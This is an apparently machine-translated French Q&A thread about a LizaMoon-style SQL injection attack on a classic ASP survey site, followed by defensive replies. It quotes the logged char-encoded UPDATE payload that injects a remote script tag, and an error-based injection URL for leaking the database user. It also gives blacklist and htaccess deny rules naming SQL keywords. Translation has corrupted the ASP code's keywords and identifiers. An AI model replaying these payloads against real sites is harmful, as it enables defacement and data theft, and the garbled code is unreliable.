Attaque sur un site ASP qui utilise une database de server SQL

Nous avons un site d'enquête qui a apparemment été attaqué. Les symptômes sont identiques à ce qui a été décrit sur la page suivante sur ce site: XSS Attack sur le site ASP.NET .

J'ai trouvé plusieurs inputs dans nos journaux IIS qui incluaient le code malveillant:

</ title> <script src = http: // google-stats49.info/ur.php>.

Voici un exemple de la valeur du champ de requête cs-uri pour l'une des inputs du journal IIS.

surveyID = 91 + mise à jour + usd_ResponseDetails + set + categoryName = REPLACE (cast (categoryName + as + varchar (8000)), cast (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105)% 2Bchar ( 116)% 2Bchar (108)% 2Bchar (101)% 2Bchar (62)% 2Bchar (60)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar ( 116)% 2Bchar (32)% 2Bchar (115)% 2Bchar (114)% 2Bchar (99)% 2Bchar (61)% 2Bchar (104)% 2Bchar (116)% 2Bchar (116)% 2Bchar (112)% 2Bchar ( 58)% 2Bchar (47)% 2Bchar (47)% 2Bchar (103)% 2Bchar (111)% 2Bchar (111)% 2Bchar (103)% 2Bchar (108)% 2Bchar (101)% 2Bchar (45)% 2Bchar ( 115)% 2Bchar (116)% 2Bchar (97)% 2Bchar (116)% 2Bchar (115)% 2Bchar (53)% 2Bchar (48)% 2Bchar (46)% 2Bchar (105)% 2Bchar (110)% 2Bchar ( 102)% 2Bchar (111)% 2Bchar (47)% 2Bchar (117)% 2Bchar (114)% 2Bchar (46)% 2Bchar (112)% 2Bchar (104)% 2Bchar (112)% 2Bchar (62)% 2Bchar ( 60)% 2Bchar (47)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (116)% 2Bchar (62) + comme + varchar (8000)) , cast (char (32) + comme + varchar (8))) –

Je ne comprends pas comment le code ci-dessus fonctionne, mais apparemment c'est ce qui est envoyé dans une string de requête pour corrompre les colonnes dans nos tables de database. Nous avons fermé notre site pour le moment. Nous pouvons supprimer les scripts de la database, mais cela ne l'empêche pas d'être à nouveau corrompu lorsque nous remettons le site en ligne.

Quelqu'un at-il des suggestions sur la façon d'empêcher cela de se produire?

    C'est une injection SQL.

    1. Ne faites jamais confiance à l'user. Vous prenez des commentaires et vous les envoyez directement à la database
    2. Ne faites jamais confiance à votre input d'user!
    3. Vérifiez toutes les inputs dans une list blanche des valeurs autorisées.
    4. Pour la saisie de text, assurez-vous que tout est échappé

    Il y a des tonnes sur ce sujet: Google est ton ami

    Aussi…

    1. Utilisez des requêtes paramétrées.
    2. Quittez l'ancien ASP classique, ce qui rend plus difficile l'utilisation de requêtes paramétrées. Déplacer vers .NET, qui a une validation plus facile et peut restreindre les valeurs, interdire l'input html et ainsi de suite.

    Je ne sais pas si cela est toujours pertinent pour vous, mais je l'ai déjà fait par le passé, car nous avons toujours des anciens sites ASP. Il y a deux choses dont vous avez besoin pour nettoyer cela. La première est de find et de replace la procédure stockée pour votre database (assez facile pour Google), si vous pouvez vous en sortir. Malheureusement, datatables sont parfois coupées en fonction du type de champ, mais il n'y a rien à faire ici. Sinon, un return en arrière pour votre db est nécessaire.

    Deuxièmement, insérez un script de prévention de piratage par injection SQL comme ceci avant votre connection à la database:

    Bonne chance.

     <% ' SqlCheckInclude.asp ' ' This is the include file to use with your asp pages to ' validate input for SQL injection. 

    <% ' SqlCheckInclude.asp ' ' This is the include file to use with your asp pages to ' validate input for SQL injection.

    Dim BlackList, ErrorPage, s

    '
    Voici une list noire qui bloquera certaines commands SQL et
    'séquences utilisées dans l'injection SQL aideront à la désinfection des inputs
    '
    Cependant, cela peut ne pas suffire, car:
    '1) Ceux-ci pourraient ne pas couvrir tous les cas (comme les caractères codés)
    '2) Cela peut interdire les inputs légitimes
    '
    'La création de strings de requête sql brutes en concaténant les inputs user est
    'pratique de programmation dangereuse. Il est conseillé d'utiliser des parameters paramétrés
    SQL à la place. Vérifiez http://support.microsoft.com/kb/q164485/ pour plus d'informations
    'sur la façon de le faire en utilisant ADO de ASP.
    '
    De plus, vous devez également implémenter une list blanche pour vos parameters.
    'Par exemple, si vous attendez une input pour un code postal, vous devez créer
    'une règle de validation qui ne permettra que 5 caractères dans [0-9].
    '

    BlackList = Array ("-", ";", "/ ", " /", "@@", "@", _
    "char", "nchar", "varchar", "nvarchar", _
    "modifier", "commencer", "lancer", "créer", "slider", _
    "declare", "delete", "drop", "fin", "exec", _
    "exécuter", "chercher", "insert", "tuer", "ouvrir", _
    "select", "sys", "sysobjects", "syscolumns", _
    "table", "mise à jour")

    'Remplissez la page d'erreur que vous souhaitez redirect au cas où le
    'vérification échoue.

    ErrorPage = "/ErrorPage.asp"

    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '
    'Cette fonction ne vérifie pas les caractères codés
    'puisque nous ne connaissons pas la forme d'enencoding de votre application
    ' les usages. Ajoutez la logique appropriée pour gérer les caractères codés
    ' ici
    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '
    Fonction CheckSsortingngForSQL (str)
    Sur l'erreur CV suivant

    Dim lstr

    'Si la string est vide, renvoyez true
    If (IsEmpty (str)) Puis
    CheckSsortingngForSQL = false
    Fonction de sortie
    ElseIf (StrComp (str, "") = 0) Puis
    CheckSsortingngForSQL = false
    Fonction de sortie
    Fin si

    lstr = LCase (str)

    'Vérifiez si la string contient des motifs dans notre
    'list noire
    Pour chaque s dans BlackList

     If ( InStr (lstr, s) <> 0 ) Then CheckSsortingngForSQL = true Exit Function End If 

    Prochain

    CheckSsortingngForSQL = false

    Fonction de fin

    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '
    'Vérifier datatables de formulaires
    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '

    Pour chaque s dans Request.Form
    If (CheckSsortingngForSQL (Request.Form (s))) Puis

     ' Redirect to an error page Response.Redirect(ErrorPage) 

    Fin si
    Prochain

    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '
    'Vérifier la string de requête
    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '

    Pour chaque s dans Request.QuerySsortingng
    If (CheckSsortingngForSQL (Request.QuerySsortingng (s))) Puis

     ' Redirect to error page Response.Redirect(ErrorPage) End If 

    Prochain

    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '
    'Vérifier les cookies
    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '

    Pour chaque s dans Request.Cookies
    If (CheckSsortingngForSQL (Request.Cookies (s))) Puis

     ' Redirect to error page Response.Redirect(ErrorPage) 

    Fin si

    Prochain

    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '
    'Ajouter des controls supplémentaires pour l'input que votre application
    ' les usages. (par exemple, plusieurs en-têtes de request de votre application
    ' Pourrait utiliser)
    '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '

    %>

    Configurez votre IIS pour envoyer une page d'erreur personnalisée ou la page d'erreur 500 par défaut au lieu d'envoyer des messages d'erreur détaillés au client.

    Des messages d'erreur détaillés ont été utilisés pour find le schéma db. Ensuite, ils ont utilisé l'injection sql pour mettre à jour les champs de text.

    Voici un exemple pour get l'user DB:

     /page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0 

    c'est "et ^ + user + ^ = 0" et cela returnne:

    [Microsoft] [ODBC_SQL_Server_Driver] [SQL_Server] Conversion_failed_when_converting_nvarchar_value _ '^ monDbUsername ^' _ to_data_type_int.

    où "myDbUsername" est votre véritable user de database.

    En utilisant une technique similaire, il est possible d'get des bases de données, des tables, des colonnes, des types, etc., un par un.

    Si vous n'avez pas déjà été attaqué, désactivez les erreurs détaillées dans IIS. Dans le cas contraire, vérifiez vos journaux pour identifier les pages présentant des vulnérabilités d'injection sql et corrigez-les.

    J'ai écrit un petit script pour vérifier s'il y a "<script" dans ma database:

     DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+ ' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) + ' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%<script%''' FROM INFORMATION_SCHEMA.COLUMNS c WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext') and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views) order by QUOTENAME(TABLE_NAME); DECLARE @CMD VARCHAR(200), @return varchar(10) OPEN C1 FETCH NEXT FROM C1 INTO @CMD WHILE @@FETCH_STATUS <> -1 BEGIN declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200) set @sql = 'declare c2 cursor for ' + @CMD exec sp_executesql @sql open c2 FETCH NEXT FROM C2 INTO @return, @tbl, @col WHILE @@FETCH_STATUS <> -1 BEGIN if(@return > 0) BEGIN PRINT @return + ' records found in ' + @tbl + '.' + @col exec('SELECT '+@col+' FROM '+@tbl+' WHERE '+@col+' LIKE ''%<script%''') END FETCH NEXT FROM C2 INTO @return, @tbl, @col END CLOSE C2 DEALLOCATE C2 FETCH NEXT FROM C1 INTO @CMD END CLOSE C1 DEALLOCATE C1 

    Je suis sur IIS 7, Win Server 2008 et SQL Server 2008, donc il ne semble pas que cette attaque utilise des vulnérabilités SQL Server 2003/2005 comme indiqué dans de nombreux articles sur le Web.

    Vous êtes touché par le pack d'exploit d'injection SQL automatisé de LizaMoon, et vous êtes maintenant mentionné dans un article sur la page de la société qui est la première à avoir documenté l'attaque: http://community.websense.com/blogs/securitylabs/archive /2011/03/31/update-on-lizamoon-mass-injection.aspx

    Le plugin WordPress de BulletProof Security a les filters d'injection SQL qui bloqueront cette attaque dans un file htaccess. Puisque vous avez un server IIS, vous devez append des fonctionnalités supplémentaires qui vous permettraient d'utiliser un file htaccess ou peut-être intégrer les filters d'injection SQL d'une autre manière avec IIS puisque htaccess est traditionnellement une chose Apache. Ceci est la ligne dans le file htaccess principal de BulletProof Security qui bloque TOUTES les tentatives de piratage SQL Injection:

     RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC] RewriteRule ^(.*)$ - [F,L] 

    Je vous suggère de searchr toutes les pages qui contiennent Request.QuerySsortingng, car c'est le plus souvent un paramètre GET qui n'est pas filtré (souvent une valeur qui doit être un entier) et qui utilise généreusement les fonctions embeddedes CInt , CLng et IsNumeric pour arrêter les injections dans leurs voies. Il devrait être plus rapide que de réécrire toutes vos requêtes pour utiliser des parameters ou créer des procédures stockées dans SQL Server, bien que ce soit le path à parcourir si vous êtes encore occupé à développer l'application. Vous devez également désactiver l'autorisation EXEC pour le count d'user de l'application dans SQL Server.

    (Désolé, j'ai essayé de relier les autres fonctions mais en tant que nouvel user, je n'ai qu'un hyperlink :-))